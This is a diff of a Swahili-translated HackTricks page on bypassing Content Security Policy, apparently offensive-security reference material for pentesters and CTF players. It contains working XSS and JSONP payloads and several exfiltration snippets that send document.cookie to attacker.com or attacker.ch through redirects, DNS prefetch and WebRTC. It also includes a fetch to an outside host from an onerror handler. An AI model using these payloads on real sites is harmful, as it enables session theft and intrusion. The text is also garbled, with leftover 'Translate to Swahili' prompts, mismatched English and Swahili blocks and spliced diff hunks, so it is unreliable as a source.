Sera ya CSP ambayo inaweka orodha nyeupe ya vikoa kwa kupakia skripti katika programu ya Angular JS inaweza kupuuzwa kupitia wito wa kazi za kurudi na baadhi ya mbinu zenye mapungufu. Taarifa zaidi kuhusu mbinu hii inapatikana kwenye mwongozo kamili uliopo kwenye [hifadhi ya git hii](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
|
||||
Mizigo inayofanya kazi:
|
||||
```html
|
||||
|
@ -439,7 +442,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
Endpoints zingine za utekelezaji wa JSONP zisizo na kikomo zinaweza kupatikana [**hapa**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (baadhi yao zilifutwa au zimefanyiwa marekebisho)
|
||||
Other JSONP arbitrary execution endpoints can be found in [**hapa**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (some of them were deleted or fixed)
|
||||
|
||||
### Kupitisha kupitia Uelekezaji
|
||||
|
||||
|
@ -463,17 +466,17 @@ Hapa kuna mfano:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
If CSP is set to `https://www.google.com/a/b/c/d`, tangu njia ichukuliwe kwa uzito, hati zote za `/test` na `/a/test` zitazuiliwa na CSP.
|
||||
Ikiwa CSP imewekwa kwa `https://www.google.com/a/b/c/d`, kwani njia inazingatiwa, hati zote `/test` na `/a/test` zitazuiliwa na CSP.
|
||||
|
||||
Hata hivyo, `http://localhost:5555/301` ya mwisho itakuwa **imeelekezwa upya kwenye upande wa seva kwenda `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni upyaishaji, **njia haizingatiwi**, na **hati inaweza kupakia**, hivyo kukiuka kizuizi cha njia.
|
||||
Walakini, mwisho wa `http://localhost:5555/301` uta **rejeshwa upande wa seva kwenda `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Kwa kuwa ni mwelekeo, **njia haijazingatiwa**, na **hati inaweza kupakia**, hivyo kukiuka kizuizi cha njia.
|
||||
|
||||
Kwa upyaishaji huu, hata kama njia imeelezwa kikamilifu, bado itapuuzwa.
|
||||
Kwa mwelekeo huu, hata ikiwa njia imeelezwa kabisa, bado itapuuzwa.
|
||||
|
||||
Hivyo basi, suluhisho bora ni kuhakikisha kuwa tovuti haina mapungufu yoyote ya upyaishaji wazi na kwamba hakuna uwanja wowote ambao unaweza kutumiwa katika sheria za CSP.
|
||||
Kwa hivyo, suluhisho bora ni kuhakikisha kuwa tovuti haina udhaifu wowote wa kuhamisha wazi na kwamba hakuna uwanja ambao unaweza kutumiwa katika sheria za CSP.
|
||||
|
||||
### Kupuuza CSP na alama za kuteleza
|
||||
### Kupuuza CSP na alama ya kuteleza
|
||||
|
||||
Soma [hapa](../dangling-markup-html-scriptless-injection/) kujua zaidi.
|
||||
Soma [hapa](../dangling-markup-html-scriptless-injection/) jinsi ya kufanya hivyo.
|
||||
|
||||
### 'unsafe-inline'; img-src \*; kupitia XSS
|
||||
```
|
||||
|
@ -487,11 +490,11 @@ Unaweza kukiuka CSP hii kwa kuchukua data kupitia picha (katika kesi hii XSS ina
|
|||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Ungekuwa unaweza pia kutumia usanidi huu kwa **kupakia kificho cha javascript kilichoingizwa ndani ya picha**. Kwa mfano, ikiwa ukurasa unaruhusu kupakia picha kutoka Twitter. Unge **unda** picha **maalum**, **ipakie** kwenye Twitter na kutumia "**unsafe-inline**" kutekeleza kificho cha JS (kama XSS ya kawaida) ambacho kitapakia picha, kutoa JS kutoka kwake na kutekeleza **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Ungekuwa unaweza kutumia usanidi huu kwa **kupakia kificho cha javascript kilichoingizwa ndani ya picha**. Kwa mfano, ikiwa ukurasa unaruhusu kupakia picha kutoka Twitter. Unge **unda** picha **maalum**, **ipakie** kwenye Twitter na kutumia "**unsafe-inline**" kutekeleza kificho cha JS (kama XSS ya kawaida) ambacho kitapakia picha, kutoa JS kutoka kwake na kutekeleza **kificho** hicho: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Kwa Wafanyikazi wa Huduma
|
||||
|
||||
Kazi za wafanyikazi wa huduma **`importScripts`** hazina kikomo na CSP:
|
||||
Kazi ya **`importScripts`** ya wafanyikazi wa huduma haijazuiliwa na CSP:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
|
||||
|
@ -503,12 +506,12 @@ Kazi za wafanyikazi wa huduma **`importScripts`** hazina kikomo na CSP:
|
|||
|
||||
#### Chrome
|
||||
|
||||
Ikiwa **parameta** iliyotumwa na wewe inawekwa **ndani** ya **tamko** la **sera**, basi unaweza **badilisha** sera kwa njia fulani ambayo inafanya **isiwe na maana**. Unaweza **kuruhusu script 'unsafe-inline'** na moja ya njia hizi za kuepuka:
|
||||
Ikiwa **parameta** iliyotumwa na wewe inawekwa **ndani** ya **tamko** la **sera**, basi unaweza **badilisha** sera kwa njia fulani ambayo inafanya **isiwe na maana**. Unaweza **kuruhusu script 'unsafe-inline'** na mojawapo ya njia hizi za kuzidisha:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Kwa sababu agizo hili litakua **linachukua nafasi ya maelekezo ya script-src yaliyopo**.\
|
||||
Kwa sababu agizo hili litakua **linafuta maelekezo ya script-src yaliyopo**.\
|
||||
Unaweza kupata mfano hapa: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
@ -519,7 +522,7 @@ Mfano: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%
|
|||
### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati
|
||||
|
||||
Tambua ukosefu wa agizo `'unsafe-inline'`\
|
||||
Wakati huu unaweza kufanya muhanga **apakie** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu utafanya muhanga kupata upatikanaji wa ukurasa kutoka mahali unapotaka kutoa habari (**CSRF**). Huwezi kupata maudhui ya ukurasa, lakini kama kwa namna fulani unaweza **kudhibiti muda ambao ukurasa unahitaji kupakia** unaweza kutoa habari unayohitaji.
|
||||
Wakati huu unaweza kufanya mhanga **apakie** ukurasa katika **udhibiti wako** kupitia **XSS** na `<iframe`. Wakati huu utafanya mhanga ufikie ukurasa kutoka mahali unapotaka kutoa habari (**CSRF**). Huwezi kupata maudhui ya ukurasa, lakini kama kwa njia fulani unaweza **kudhibiti muda ambao ukurasa unahitaji kupakia** unaweza kutoa habari unayohitaji.
|
||||
|
||||
Wakati huu **bendera** itaondolewa, kila wakati **herufi inatabiriwa kwa usahihi** kupitia SQLi majibu yanachukua **muda zaidi** kutokana na kazi ya kulala. Kisha, utaweza kutoa bendera:
|
||||
```html
|
||||
|
@ -583,15 +586,15 @@ run();
|
|||
```
|
||||
### Kupitia Bookmarklets
|
||||
|
||||
Shambulizi hili lingehusisha uhandisi wa kijamii ambapo muhusika **anamshawishi mtumiaji kuhamisha na kuachia kiungo juu ya bookmarklet ya kivinjari**. Bookmarklet hii ingejumuisha **mimba ya javascript yenye nia mbaya** ambayo ikipozwa na kuachiliwa au bonyezwa ingetekelezwa katika muktadha wa dirisha la wavuti la sasa, **kipuuzia CSP na kuruhusu kuiba taarifa nyeti** kama vile vidakuzi au vitufe.
|
||||
Shambulizi hili lingehusisha uhandisi wa kijamii ambapo muhalifu **anamshawishi mtumiaji kuvuta na kuachia kiungo juu ya bookmarklet ya kivinjari**. Bookmarklet hii ingejumuisha **mimba ya javascript yenye nia mbaya** ambayo ikivutwa na kuachiliwa au bonyezwa ingetekelezwa katika muktadha wa dirisha la wavuti la sasa, **kipuuzia CSP na kuruhusu kuiba habari nyeti** kama vile vidakuzi au vibambo.
|
||||
|
||||
Kwa maelezo zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
Kwa habari zaidi [**angalia ripoti ya asili hapa**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Kupuuza CSP kwa kuzuia CSP
|
||||
### Kupitisha CSP kwa Kizuizi CSP
|
||||
|
||||
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapuuzwa kwa kuingiza ndani ya fremu iliyoruhusiwa CSP inayozuia zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **uchafuzi wa protini** au **dom clobbering** iliruhusu **kutumia skripti tofauti kupakia skripti ya kupindukia**.
|
||||
Katika [**hii CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP inapitishwa kwa kuingiza ndani ya fremu iliyoruhusiwa CSP inayozuia zaidi ambayo ilikataza kupakia faili maalum ya JS ambayo, kisha, kupitia **uchafuzi wa protini** au **dom clobbering** iliruhusu **kutumia hati tofauti kupakia hati ya aina yoyote**.
|
||||
|
||||
Unaweza **kuzuia CSP ya Iframe** kwa kutumia sifa ya **`csp`**:
|
||||
Unaweza **kizuia CSP ya Iframe** kwa kutumia sifa ya **`csp`**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
|
@ -609,7 +612,7 @@ CSP inaweza kuwa ngumu zaidi kutumia **HTML meta tags** na inline scripts zinawe
|
|||
```
|
||||
### Uchukuzi wa JS na Content-Security-Policy-Report-Only
|
||||
|
||||
Ikiwa unaweza kufanikiwa kufanya seva itoe kichwa cha **`Content-Security-Policy-Report-Only`** na **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze seva yako na ikiwa **unafunga** **maudhui ya JS** unayotaka kuchukua na **`<script>`** na kwa sababu inawezekana sana `unsafe-inline` haijiruhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (yenye habari nyeti) itatumwa kwa seva kutoka kwa `Content-Security-Policy-Report-Only`.
|
||||
Ikiwa unaweza kufanikiwa kufanya seva itoe kichwa **`Content-Security-Policy-Report-Only`** na **thamani inayodhibitiwa na wewe** (labda kwa sababu ya CRLF), unaweza kufanya ielekeze seva yako na ikiwa **unafunga** **maudhui ya JS** unayotaka kuchukua na **`<script>`** na kwa sababu inawezekana sana `unsafe-inline` haijiruhusiwi na CSP, hii itasababisha **kosa la CSP** na sehemu ya script (yenye habari nyeti) itatumwa kwa seva kutoka kwa `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Kwa mfano [**angalia hii CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -621,11 +624,11 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
|
|||
|
||||
* `Iframe` inaundwa inayoelekeza kwa URL (tuiite `https://example.redirect.com`) ambayo imeruhusiwa na CSP.
|
||||
* URL hii kisha inaelekeza kwa URL ya siri (k.m., `https://usersecret.example2.com`) ambayo **hairuhusiwi** na CSP.
|
||||
* Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inafunua kikoa cha URI iliyozuiwa, kuvuja kikoa cha siri ambacho URL ya awali ilielekeza.
|
||||
* Kwa kusikiliza tukio la `securitypolicyviolation`, mtu anaweza kukamata mali ya `blockedURI`. Mali hii inafichua kikoa cha URI iliyozuiwa, kuvuja kikoa cha siri ambacho URL ya awali ilielekeza.
|
||||
|
||||
Ni ya kuvutia kufahamu kuwa vivinjari kama Chrome na Firefox vina tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikisababisha kuvuja kwa taarifa nyeti kutokana na tabia isiyojulikana.
|
||||
Ni muhimu kufahamu kuwa vivinjari kama Chrome na Firefox wana tabia tofauti katika kushughulikia iframes kuhusiana na CSP, ikisababisha kuvuja kwa taarifa nyeti kutokana na tabia isiyojulikana.
|
||||
|
||||
Mbinu nyingine inahusisha kutumia CSP yenyewe kudhanua subdomain ya siri. Mbinu hii inategemea algorithm ya utafutaji wa binary na kurekebisha CSP kuingiza vikoa maalum ambavyo vimezuiliwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri inajumuisha herufi zisizojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha maelekezo ya CSP kuzuia au kuruhusu subdomains hizi. Hapa kuna sehemu inayoonyesha jinsi CSP inavyoweza kuwekwa ili kurahisisha mbinu hii:
|
||||
Mbinu nyingine inahusisha kutumia CSP yenyewe kudadisi subdomain ya siri. Mbinu hii inategemea algorithm ya utafutaji wa binary na kurekebisha CSP kuingiza vikoa maalum ambavyo vimezuiliwa kwa makusudi. Kwa mfano, ikiwa subdomain ya siri inajumuisha herufi zisizojulikana, unaweza kujaribu subdomains tofauti kwa kubadilisha maelekezo ya CSP kuzuia au kuruhusu subdomains hizi. Hapa kuna sehemu inayoonyesha jinsi CSP inavyoweza kuwekwa ili kurahisisha mbinu hii:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
|
@ -637,31 +640,31 @@ Mbinu kutoka [**hapa**](https://ctftime.org/writeup/29310).
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na server ya [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) kwa mawasiliano na wadukuzi wenye uzoefu na wawindaji wa tuzo za makosa!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na maudhui yanayochimba kina cha msisimko na changamoto za udukuzi
|
||||
Shiriki na maudhui yanayochimba kina katika msisimko na changamoto za udukuzi
|
||||
|
||||
**Taarifa za Udukuzi za Wakati Halisi**\
|
||||
Endelea kujua na ulimwengu wa udukuzi wenye kasi kupitia taarifa na ufahamu wa wakati halisi
|
||||
Endelea kujua na ulimwengu wa udukuzi wenye kasi kupitia habari na ufahamu wa wakati halisi
|
||||
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelewa na tuzo mpya za makosa zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
Baki mwelewa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
## Teknolojia Hatarishi za Kupita Mipangilio ya CSP
|
||||
## Teknolojia Hatarishi za Kupita Mipaka ya CSP
|
||||
|
||||
### Kuzidisha Kifurushi cha Majibu ya PHP
|
||||
### Kuzidisha Kibofu cha Majibu cha PHP
|
||||
|
||||
PHP inajulikana kwa **kuzidisha majibu hadi herufi 4096** kwa chaguo-msingi. Kwa hivyo, ikiwa PHP inaonyesha onyo, kwa kutoa **data ya kutosha ndani ya maonyo**, **majibu** yatatumiwa **kabla** ya **kichwa cha CSP**, kusababisha kichwa kutozingatiwa.\
|
||||
Kisha, mbinu inategemea msingi wa **kujaza kifurushi cha majibu na maonyo** ili kichwa cha CSP kisitumwe.
|
||||
Kisha, mbinu inategemea kimsingi **kujaza kibofu cha majibu na maonyo** ili kichwa cha CSP kisitumwe.
|
||||
|
||||
Wazo kutoka [**hapa**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||
|
||||
### Kubadilisha Ukurasa wa Hitilafu
|
||||
|
||||
Kutoka [**hapa**](https://blog.ssrf.kr/69) inaonekana ilikuwa inawezekana kukiuka ulinzi wa CSP kwa kupakia ukurasa wa hitilafu (labda bila CSP) na kubadilisha maudhui yake.
|
||||
Kutoka [**hapa**](https://blog.ssrf.kr/69) inaonekana ilikuwa inawezekana kupita kwenye ulinzi wa CSP kwa kupakia ukurasa wa hitilafu (labda bila CSP) na kubadilisha maudhui yake.
|
||||
```javascript
|
||||
a = window.open('/' + 'x'.repeat(4100));
|
||||
setTimeout(function() {
|
||||
|
@ -670,24 +673,24 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||
```
|
||||
### BAADHI + 'self' + wordpress
|
||||
|
||||
BAADHI ni mbinu inayotumia XSS (au XSS iliyopunguzwa sana) **katika mwisho wa ukurasa** kwa **kutumia** **mambo mengine ya mwisho** **wa asili ileile.** Hii hufanywa kwa kupakia mwisho ulio hatarini kutoka kwa ukurasa wa mshambuliaji na kisha kusasisha ukurasa wa mshambuliaji kwa mwisho halisi katika asili ileile unayotaka kutumia. Kwa njia hii, **mwisho ulio hatarini** unaweza kutumia kitu cha **`opener`** katika **mzigo** kufikia DOM ya **mwisho halisi wa kutumia**. Kwa maelezo zaidi angalia:
|
||||
BAADHI ni mbinu inayotumia XSS (au XSS iliyopunguzwa sana) **katika mwisho wa ukurasa** kwa **kutumia** **mwisho mwingine wa asili.** Hii hufanywa kwa kupakia mwisho ulio hatarini kutoka kwa ukurasa wa mshambuliaji na kisha kusasisha ukurasa wa mshambuliaji kwa mwisho halisi katika asili ile ile unayotaka kutumia. Kwa njia hii **mwisho ulio hatarini** unaweza kutumia kitu cha **`opener`** katika **mzigo** kufikia DOM ya **mwisho halisi wa kutumia**. Kwa maelezo zaidi angalia:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Zaidi ya hayo, **wordpress** ina mwisho wa **JSONP** katika `/wp-json/wp/v2/users/1?_jsonp=data` ambao uta**rejea** **data** iliyotumwa kwenye matokeo (kwa kikomo cha herufi, nambari na vipindi tu).
|
||||
Zaidi ya hayo, **wordpress** ina mwisho wa **JSONP** katika `/wp-json/wp/v2/users/1?_jsonp=data` ambao uta**rejea** **data** iliyotumwa kwenye matokeo (kwa kikomo cha herufi, nambari na madokezo tu).
|
||||
|
||||
Mshambuliaji anaweza kutumia mwisho huo kufanya **shambulio la BAADHI** dhidi ya WordPress na **kulenga** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kuwa **script** hii ita**pakia** kwa sababu ime**ruhusiwa na 'self'**. Zaidi ya hayo, na kwa sababu WordPress imefungwa, mshambuliaji anaweza kutumia **shambulio la BAADHI** kupitia mwisho wa **wito** ulio hatarini ambao **unapita kwa CSP** kutoa mamlaka zaidi kwa mtumiaji, kusakinisha programu jalizi mpya...\
|
||||
Mshambuliaji anaweza kutumia mwisho huo kufanya **shambulio la BAADHI** dhidi ya WordPress na **kulenga** ndani ya `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` kumbuka kuwa **script** hii ita**pakia** kwa sababu imeruhusiwa na 'self'. Zaidi ya hayo, na kwa sababu WordPress imefungwa, mshambuliaji anaweza kutumia **shambulio la BAADHI** kupitia mwisho wa **kukaribisha** ulio hatarini ambao **unapita kwa CSP** kutoa mamlaka zaidi kwa mtumiaji, kusakinisha programu jalizi mpya...\
|
||||
Kwa maelezo zaidi kuhusu jinsi ya kufanya shambulio hili angalia [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Kupita Kizuizi cha CSP cha Kufichua
|
||||
|
||||
Ikiwa kuna CSP kali ambayo haikuruhusu **kuingiliana na seva za nje**, kuna mambo kadhaa unaweza kufanya daima kufichua habari.
|
||||
Ikiwa kuna CSP kali ambayo haikuruhusu **kuingiliana na seva za nje**, kuna mambo ambayo unaweza kufanya daima kufichua habari.
|
||||
|
||||
### Mahali
|
||||
|
||||
Unaweza tu kusasisha mahali kutuma kwa seva ya mshambuliaji habari ya siri:
|
||||
Unaweza tu kusasisha mahali pa kutuma habari za siri kwa seva ya mshambuliaji:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
document.location = "https://attacker.com/?" + sessionid;
|
||||
|
@ -701,31 +704,43 @@ Unaweza kuelekeza kwa kuingiza lebo ya meta (hii ni tu kuelekeza, haitavuja maud
|
|||
### DNS Prefetch
|
||||
|
||||
Ili kupakia kurasa haraka, vivinjari vitahakikisha kutatua majina ya mwenyeji kuwa anwani za IP na kuzihifadhi kwa matumizi ya baadaye.\
|
||||
Unaweza kuashiria kivinjari kutatua mwenyeji mapema na: `<link rel="dns-prefetch" href="kitu.com">`
|
||||
Unaweza kuashiria kivinjari kutatua mwenyeji mapema kwa: `<link rel="dns-prefetch" href="kitu.com">`
|
||||
|
||||
Unaweza kutumia tabia hii kwa **kuvuja taarifa nyeti kupitia maombi ya DNS**:
|
||||
Unaweza kutumia tabia hii kwa **kutolea nje taarifa nyeti kupitia maombi ya DNS**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split('=')[1]+".";
|
||||
var body = document.getElementsByTagName('body')[0];
|
||||
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
|
||||
```
|
||||
### Bypassing CSP using Untrusted Directives
|
||||
### Translate to Swahili:
|
||||
|
||||
#### Introduction
|
||||
```markdown
|
||||
## Bypassing CSP using Untrusted CDN
|
||||
|
||||
In some cases, the Content Security Policy (CSP) may include directives that are not properly configured or are too permissive, allowing for potential bypasses. This technique involves identifying and exploiting these untrusted directives to bypass the CSP restrictions.
|
||||
In some cases, the application may load scripts from a CDN that is not whitelisted in the CSP policy. An attacker can host a malicious script on the untrusted CDN and include it in the application to bypass the CSP restrictions.
|
||||
|
||||
#### Steps to Bypass CSP using Untrusted Directives
|
||||
To bypass CSP using an untrusted CDN, follow these steps:
|
||||
|
||||
1. **Identify Untrusted Directives**: Analyze the CSP headers to identify directives that are not properly configured or are too permissive.
|
||||
1. Host a malicious script on an untrusted CDN.
|
||||
2. Include the malicious script in the application.
|
||||
3. Load the application and execute the malicious script.
|
||||
|
||||
2. **Exploit Untrusted Directives**: Once untrusted directives are identified, attempt to exploit them to bypass the CSP restrictions. This may involve injecting malicious code or loading external resources that are normally blocked by the CSP.
|
||||
By hosting the malicious script on an untrusted CDN, the attacker can bypass the CSP restrictions and execute arbitrary code in the context of the application.
|
||||
```
|
||||
|
||||
3. **Test for Bypass**: After exploiting the untrusted directives, test to ensure that the CSP restrictions have been successfully bypassed. This can be done by attempting to execute restricted actions that should have been blocked by the CSP.
|
||||
```html
|
||||
<h2>Kupitisha CSP kwa kutumia CDN isiyoaminika</h2>
|
||||
|
||||
4. **Report Findings**: If successful, report your findings to the appropriate parties, such as the website owner or security team, to help them improve their CSP configuration and prevent future bypasses.
|
||||
Katika baadhi ya kesi, programu inaweza kupakia skripti kutoka kwa CDN ambayo haijatambuliwa kwenye sera ya CSP. Mshambuliaji anaweza kuhifadhi skripti ya uovu kwenye CDN isiyoaminika na kuiongeza kwenye programu ili kupitisha vizuizi vya CSP.
|
||||
|
||||
By leveraging untrusted directives in a CSP, attackers can potentially bypass security restrictions and execute malicious actions on a vulnerable website. It is important for website owners to properly configure their CSP to prevent such bypasses.
|
||||
Ili kupitisha CSP kwa kutumia CDN isiyoaminika, fuata hatua hizi:
|
||||
|
||||
1. Hifadhi skripti ya uovu kwenye CDN isiyoaminika.
|
||||
2. Ongeza skripti ya uovu kwenye programu.
|
||||
3. Pakia programu na tekeleza skripti ya uovu.
|
||||
|
||||
Kwa kuhifadhi skripti ya uovu kwenye CDN isiyoaminika, mshambuliaji anaweza kupitisha vizuizi vya CSP na kutekeleza nambari ya kupindukia katika muktadha wa programu.
|
||||
```
|
||||
```javascript
|
||||
const linkEl = document.createElement('link');
|
||||
linkEl.rel = 'prefetch';
|
||||
|
@ -737,14 +752,14 @@ Ili kuepuka hili kutokea, server inaweza kutuma HTTP header:
|
|||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Inavyoonekana, mbinu hii haifanyi kazi katika vivinjari visivyo na kichwa (bots)
|
||||
Inavyoonekana, mbinu hii haifanyi kazi kwenye vivinjari visivyo na kichwa (bots)
|
||||
{% endhint %}
|
||||
|
||||
### WebRTC
|
||||
|
||||
Kwenye kurasa kadhaa unaweza kusoma kwamba **WebRTC haitathmini sera ya `connect-src`** ya CSP.
|
||||
|
||||
Kwa kweli unaweza _kuvuja_ taarifa kwa kutumia _ombi la DNS_. Angalia namna hii ya nambari:
|
||||
Kwa kweli unaweza _kuvuja_ taarifa kwa kutumia _ombi la DNS_. Angalia nambari hii:
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
|
@ -783,7 +798,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kuwasiliana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
Jiunge na [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server ili kushirikiana na wadukuzi wenye uzoefu na wawindaji wa tuzo za mdudu!
|
||||
|
||||
**Machapisho ya Udukuzi**\
|
||||
Shiriki na yaliyomo yanayochimba katika msisimko na changamoto za udukuzi
|
||||
|
@ -792,7 +807,7 @@ Shiriki na yaliyomo yanayochimba katika msisimko na changamoto za udukuzi
|
|||
Kaa up-to-date na ulimwengu wa udukuzi wenye kasi kupitia habari za wakati halisi na ufahamu
|
||||
|
||||
**Matangazo ya Karibuni**\
|
||||
Baki mwelewa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
Baki mwelekezi na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wadukuzi bora leo!
|
||||
|
||||
|
@ -802,10 +817,10 @@ Baki mwelewa na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJISAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
